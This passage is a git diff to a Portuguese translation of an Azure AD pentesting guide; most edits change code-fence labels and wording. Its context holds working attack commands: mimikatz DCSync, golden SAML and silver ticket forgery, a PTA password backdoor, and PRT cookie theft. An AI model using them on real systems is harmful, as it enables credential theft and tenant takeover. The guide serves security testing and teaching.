[DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe Temos as seguintes condições: -1. Conseguimos penetrar com sucesso na rede interna. +1. Conseguimos penetrar com sucesso a rede interna. 2. Temos a capacidade de criar ou assumir o controle de uma conta de computador dentro do Active Directory. 3. Descobrimos um compartilhamento de rede contendo o diretório AzureArcDeploy. Existem vários métodos para obter uma conta de máquina dentro de um ambiente AD. Um dos mais comuns é explorar a cota de conta de máquina. Outro método envolve comprometer uma conta de máquina através de ACLs vulneráveis ou várias outras configurações incorretas. -```powershell +```bash Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -Uma vez que uma conta de máquina é obtida, é possível autenticar-se usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe. -```powershell +Uma vez que uma conta de máquina é obtida, é possível autenticar usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe. +```bash runas /user:fake01$ /netonly powershell ``` -```powershell +```bash .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -Ao ter o TGT da nossa conta de computador armazenado na memória, podemos usar o seguinte script para descriptografar o segredo do principal de serviço. -```powershell +Ao ter o TGT para nossa conta de computador armazenado na memória, podemos usar o seguinte script para descriptografar o segredo do principal de serviço. +```bash Import-Module .\AzureArcDeployment.psm1 $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret" @@ -54,7 +54,7 @@ $ebs ``` Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -Neste ponto, podemos reunir as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o service principal comprometido. +Neste ponto, podemos coletar as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o service principal comprometido. ## Referências diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index 567786710..151e99002 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -52,7 +52,7 @@ az-default-applications.md Para cada método de integração, a sincronização de usuários é realizada, e uma conta `MSOL_` é criada no AD local. Notavelmente, tanto os métodos **PHS** quanto **PTA** facilitam o **Seamless SSO**, permitindo o login automático para computadores Azure AD associados ao domínio local. Para verificar a instalação do **Azure AD Connect**, o seguinte comando PowerShell, utilizando o módulo **AzureADConnectHealthSync** (instalado por padrão com o Azure AD Connect), pode ser usado: -```powershell +```bash Get-ADSyncConnector ``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 3a2181bd6..1e046b7d9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -9,7 +9,7 @@ Para sincronizar um novo usuário **do AzureAD para o AD on-prem**, estes são o - O **usuário do AzureAD** precisa ter um endereço proxy (uma **caixa de correio**) - Licença não é necessária - Não deve **já estar sincronizado** -```powershell +```bash Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` Quando um usuário como esses é encontrado no AzureAD, para **acessá-lo a partir do AD local** você só precisa **criar uma nova conta** com o **proxyAddress** o e-mail SMTP. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index bde00f9c1..d6d0cdcee 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -1,4 +1,4 @@ -# Az - Federation +# Az - Federação {{#include ../../../../banners/hacktricks-training.md}} @@ -24,7 +24,7 @@ Em qualquer configuração de federação, existem três partes:
-1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como console AWS ou cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica. +1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como o console AWS ou o cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica. 2. Em seguida, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Ele então cria um AuthnRequest SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido. 3. O IdP assume, autenticando o usuário. Após a autenticação, uma SAMLResponse é formulada pelo IdP e encaminhada ao SP através do usuário. 4. Finalmente, o SP avalia a SAMLResponse. Se validada com sucesso, implicando uma relação de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço. @@ -38,9 +38,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html ## Pivoting - AD FS é um modelo de identidade baseado em declarações. -- "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar o acesso a aplicações baseadas em declarações localizadas em qualquer lugar na Internet." +- "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar acesso a aplicações baseadas em declarações localizadas em qualquer lugar na Internet." - As declarações para um usuário são escritas dentro dos tokens SAML e, em seguida, assinadas para fornecer confidencialidade pelo IdP. -- Um usuário é identificado pelo ImmutableID. Ele é globalmente único e armazenado no Azure AD. +- Um usuário é identificado por ImmutableID. É globalmente único e armazenado no Azure AD. - O ImmutableID é armazenado on-prem como ms-DS-ConsistencyGuid para o usuário e/ou pode ser derivado do GUID do usuário. - Mais informações em [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) @@ -56,7 +56,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html O processo onde um **Provedor de Identidade (IdP)** produz uma **SAMLResponse** para autorizar o login do usuário é fundamental. Dependendo da implementação específica do IdP, a **resposta** pode ser **assinada** ou **criptografada** usando a **chave privada do IdP**. Este procedimento permite que o **Provedor de Serviço (SP)** confirme a autenticidade da SAMLResponse, garantindo que foi realmente emitida por um IdP confiável. -Um paralelo pode ser traçado com o [ataque golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets dourados, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonação de qualquer usuário, concedendo acesso não autorizado ao SP. +Um paralelo pode ser traçado com o [ataque de golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets de ouro, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonação de qualquer usuário, concedendo acesso não autorizado ao SP. Golden SAMLs oferecem certas vantagens: @@ -69,7 +69,7 @@ Golden SAMLs oferecem certas vantagens: [Active Directory Federation Services (AD FS)]() é um serviço da Microsoft que facilita a **troca segura de informações de identidade** entre parceiros de negócios confiáveis (federação). Ele essencialmente permite que um serviço de domínio compartilhe identidades de usuários com outros provedores de serviço dentro de uma federação. -Com a AWS confiando no domínio comprometido (em uma federação), essa vulnerabilidade pode ser explorada para potencialmente **adquirir quaisquer permissões no ambiente AWS**. O ataque requer a **chave privada usada para assinar os objetos SAML**, semelhante à necessidade do KRBTGT em um ataque de ticket dourado. O acesso à conta de usuário do AD FS é suficiente para obter essa chave privada. +Com a AWS confiando no domínio comprometido (em uma federação), essa vulnerabilidade pode ser explorada para potencialmente **adquirir quaisquer permissões no ambiente AWS**. O ataque requer a **chave privada usada para assinar os objetos SAML**, semelhante à necessidade do KRBTGT em um ataque de golden ticket. O acesso à conta de usuário do AD FS é suficiente para obter essa chave privada. Os requisitos para executar um ataque golden SAML incluem: @@ -84,7 +84,7 @@ Os requisitos para executar um ataque golden SAML incluem: _Somente os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado._ Para adquirir a **chave privada**, é necessário acesso à **conta de usuário do AD FS**. A partir daí, a chave privada pode ser **exportada do armazenamento pessoal** usando ferramentas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para coletar as outras informações necessárias, você pode utilizar o snapin Microsoft.Adfs.Powershell da seguinte forma, garantindo que você esteja logado como o usuário ADFS: -```powershell +```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### On-prem -> nuvem -```powershell +```bash # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` Também é possível criar ImmutableID de usuários apenas na nuvem e se passar por eles. -```powershell +```bash # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK==" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index a3f04155c..12f14724e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -13,7 +13,7 @@ Todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.\ Além disso, grupos de segurança **integrados** (como administradores de domínio...) **não são sincronizados** com o Azure AD. -A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga. +A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga. Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**. @@ -24,7 +24,7 @@ Quando um usuário local deseja acessar um recurso do Azure, a **autenticação Quando o PHS é configurado, algumas **contas privilegiadas** são automaticamente **criadas**: - A conta **`MSOL_`** é automaticamente criada no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**. -- Uma conta **`Sync__installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas na nuvem) no Azure AD. +- Uma conta **`Sync__installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas em nuvem) no Azure AD. As senhas das duas contas privilegiadas anteriores são **armazenadas em um servidor SQL** no servidor onde **Azure AD Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\ O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. @@ -33,14 +33,14 @@ O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\D `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações, é possível realizar privesc para o AD e para o AzureAD. +A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações, é possível obter privilégios elevados no AD e no AzureAD. Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg). ### Encontrando o **servidor de conexão do Azure AD** Se o **servidor onde o Azure AD Connect está instalado** estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com: -```powershell +```bash # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` ### Abusando do MSOL\_* -```powershell +```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -61,8 +61,8 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo ### Abusando Sync\_\* -Comprometendo a conta **`Sync_*`** é possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais) -```powershell +Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais) +```bash # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -83,7 +83,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado) -```powershell +```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID @@ -91,7 +91,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -É também possível extrair a senha deste usuário. +É também possível despejar a senha deste usuário. > [!CAUTION] > Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index e76e99161..494ddb04f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,9 +4,9 @@ ## Informações Básicas -[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários são menos propensos a esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**. +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**. -No PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não são**, como no PHS. +Na PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não** são, como no PHS. A autenticação é validada no AD local e a comunicação com a nuvem é feita por um **agente de autenticação** executando em um **servidor local** (não precisa estar no DC local). @@ -26,14 +26,14 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita ### Local -> nuvem Se você tiver acesso **administrativo** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma porta dos fundos** que **validará TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação): -```powershell +```bash Install-AADIntPTASpy ``` > [!NOTE] > Se a **instalação falhar**, isso provavelmente se deve à falta dos [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). Também é possível **ver as senhas em texto claro enviadas para o agente PTA** usando o seguinte cmdlet na máquina onde o backdoor anterior foi instalado: -```powershell +```bash Get-AADIntPTASpyLog -DecodePasswords ``` Este backdoor irá: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 8afc9c0e2..ada7ee0a0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -20,8 +20,8 @@ Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da sen ### On-prem -> nuvem -A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta**, e então usá-lo para **criar tickets silver** para se conectar ao Azure com **qualquer usuário on-prem sincronizado**: -```powershell +A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta**, e então usá-lo para **criar silver tickets** para se conectar ao Azure com **qualquer usuário on-prem sincronizado**: +```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit @@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` Com o hash, você agora pode **gerar tickets silver**: -```powershell +```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -64,7 +64,7 @@ Para utilizar o silver ticket, os seguintes passos devem ser executados: 3. **Acessar a Aplicação Web:** - Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [Office 365](https://portal.office.com/). 4. **Processo de Autenticação:** -- Na tela de login, o nome de usuário deve ser inserido, deixando o campo da senha em branco. +- Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco. - Para prosseguir, pressione TAB ou ENTER. > [!TIP] @@ -93,9 +93,9 @@ Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, el > Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\ > Para mais informações, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -### On-prem -> Nuvem via Delegação Constrained Baseada em Recursos +### On-prem -> Nuvem via Delegação Constrained Baseada em Recurso -Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recursos sobre a conta e acessá-la**. +Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la**. ```python python rbdel.py -u \\ -p azureadssosvc$ ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 0bbb26613..ea4c9f2ef 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md ``` Dsregcmd.exe /status ``` -Na seção SSO State, você deve ver o **`AzureAdPrt`** definido como **YES**. +Na seção Estado do SSO, você deve ver o **`AzureAdPrt`** definido como **SIM**.
@@ -57,11 +57,11 @@ Como **SYSTEM**, você poderia **roubar o PRT se não estiver protegido** pelo T ### Ataque - ROADtoken -Para mais informações sobre essa forma [**ver este post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). O ROADtoken executará **`BrowserCore.exe`** do diretório correto e usará isso para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**. +Para mais informações sobre essa abordagem [**ver este post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). O ROADtoken executará **`BrowserCore.exe`** do diretório correto e usará isso para **obter um cookie PRT**. Este cookie pode então ser usado com ROADtools para autenticar e **obter um token de atualização persistente**. Para gerar um cookie PRT válido, a primeira coisa que você precisa é de um nonce.\ Você pode obter isso com: -```powershell +```bash $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" @@ -77,19 +77,19 @@ $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` Ou usando [**roadrecon**](https://github.com/dirkjanm/ROADtools): -```powershell +```bash roadrecon auth prt-init ``` Então você pode usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obter um novo PRT (execute a ferramenta a partir de um processo do usuário a ser atacado): -```powershell +```bash .\ROADtoken.exe ``` Como uma linha: -```powershell +```bash Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` Então você pode usar o **cookie gerado** para **gerar tokens** para **fazer login** usando Azure AD **Graph** ou Microsoft Graph: -```powershell +```bash # Generate roadrecon auth --prt-cookie @@ -101,7 +101,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### Ataque - Usando AADInternals e um PRT vazado `Get-AADIntUserPRTToken` **obtém o token PRT do usuário** do computador associado ao Azure AD ou associado de forma híbrida. Usa `BrowserCore.exe` para obter o token PRT. -```powershell +```bash # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` Ou se você tiver os valores do Mimikatz, você também pode usar AADInternals para gerar um token: -```powershell +```bash # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -146,7 +146,7 @@ HttpOnly: Set to True (checked) Então vá para [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece, se isso acontecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não, você deve estar bem. +> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece, se isso acontecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem. ### Ataque - Mimikatz @@ -154,7 +154,7 @@ Então vá para [https://portal.azure.com](https://portal.azure.com) 1. O **PRT (Primary Refresh Token) é extraído do LSASS** (Local Security Authority Subsystem Service) e armazenado para uso posterior. 2. A **Chave de Sessão é extraída em seguida**. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra DPAPI. Informações detalhadas sobre DPAPI (Data Protection API) podem ser encontradas nesses recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) e para entender sua aplicação, consulte [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Após a descriptografia da Chave de Sessão, a **chave derivada e o contexto para o PRT são obtidos**. Estes são cruciais para a **criação do cookie PRT**. Especificamente, a chave derivada é empregada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível [aqui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). +3. Após a descriptografia da Chave de Sessão, a **chave derivada e o contexto para o PRT são obtidos**. Estes são cruciais para a **criação do cookie PRT**. Especificamente, a chave derivada é utilizada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível [aqui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] > Note que se o PRT estiver dentro do TPM e não dentro do `lsass`, **mimikatz não conseguirá extraí-lo**.\ @@ -166,7 +166,7 @@ Você pode encontrar uma **explicação detalhada do processo realizado** para e > Isso não funcionará exatamente após as correções de agosto de 2021 para obter tokens PRT de outros usuários, pois apenas o usuário pode obter seu PRT (um administrador local não pode acessar os PRTs de outros usuários), mas pode acessar o seu. Você pode usar **mimikatz** para extrair o PRT: -```powershell +```bash mimikatz.exe Privilege::debug Sekurlsa::cloudap @@ -179,15 +179,15 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
-**Copie** a parte rotulada **Prt** e salve-a.\ -Extraia também a chave da sessão (o **`KeyValue`** do campo **`ProofOfPossesionKey`**) que você pode ver destacado abaixo. Isso está criptografado e precisaremos usar nossas chaves mestras DPAPI para descriptografá-lo. +**Copie** a parte rotulada como **Prt** e salve-a.\ +Extraia também a chave da sessão (o **`KeyValue`** do campo **`ProofOfPossesionKey`**) que você pode ver destacado abaixo. Isso está criptografado e precisaremos usar nossas chaves mestras do DPAPI para descriptografá-lo.
> [!NOTE] -> Se você não ver nenhum dado PRT, pode ser que você **não tenha nenhum PRT** porque seu dispositivo não está associado ao Azure AD ou pode ser que você esteja **executando uma versão antiga** do Windows 10. +> Se você não ver nenhum dado de PRT, pode ser que você **não tenha nenhum PRT** porque seu dispositivo não está associado ao Azure AD ou pode ser que você esteja **executando uma versão antiga** do Windows 10. -Para **descriptografar** a chave da sessão, você precisa **elevar** seus privilégios para **SYSTEM** para executar sob o contexto do computador e poder usar a **chave mestra DPAPI para descriptografá-la**. Você pode usar os seguintes comandos para fazer isso: +Para **descriptografar** a chave da sessão, você precisa **elevar** seus privilégios para **SYSTEM** para executar sob o contexto do computador e poder usar a **chave mestra do DPAPI para descriptografá-la**. Você pode usar os seguintes comandos para fazer isso: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -220,7 +220,7 @@ HttpOnly: Set to True (checked) - Em seguida, vá para [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem. +> O restante deve ser o padrão. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem. #### Opção 2 - roadrecon usando PRT diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 